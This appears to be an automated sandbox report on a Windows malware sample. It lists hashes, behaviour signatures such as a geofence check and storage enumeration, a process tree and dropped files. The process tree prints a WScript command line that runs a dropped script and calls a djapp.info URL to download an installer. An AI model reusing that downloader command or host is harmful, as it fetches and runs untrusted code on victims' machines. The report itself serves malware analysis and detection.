Analysis

  • max time kernel
    105s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-12-2022 13:32

General

  • Target

    af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe

  • Size

    184KB

  • MD5

    650dc79196587f37b681835600b8816c

  • SHA1

    0501cf4f95711e730d8a163d9ed206f4621425aa

  • SHA256

    af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889

  • SHA512

    2fe60db497e78fe7ee1a29a0dcb5b0fb338a60224e2499f4529a5befabaefcd3523dc909eb376751dad3e5ea7d15725bf0af0e41b2e366cecff90cb21b4725a8

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO38:/7BSH8zUB+nGESaaRvoB7FJNndnJ

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe
    "C:\Users\Admin\AppData\Local\Temp\af17a3f60a367541fc59dcbbfe9cefe191e7884f28fa2c344307b1adb9834889.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC96F.js" http://www.djapp.info/?domain=wwMONoBVXT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufC96F.exe
      2⤵
      • Blocklisted process makes network request
      PID:2436

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\fufC96F.exe

    Filesize

    570B

    MD5

    986be013d967fdaddfba2586bc9ce228

    SHA1

    6741bae46ec6bfe52498860186378a8d3a6e382d

    SHA256

    618e71ece58120445ab84fa046d53939fc35a51ca1d3727b29e1b7944c75da58

    SHA512

    22e5bdc0a7eb71a4b9740f44113787bbbdec55a4870fdad32675aae79a6a4b2c9309b6e404fd4dc9e344f724809a95409b6a0413c1d95c453d4ab93760dd39d1

  • C:\Users\Admin\AppData\Local\Temp\fufC96F.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • memory/2436-132-0x0000000000000000-mapping.dmp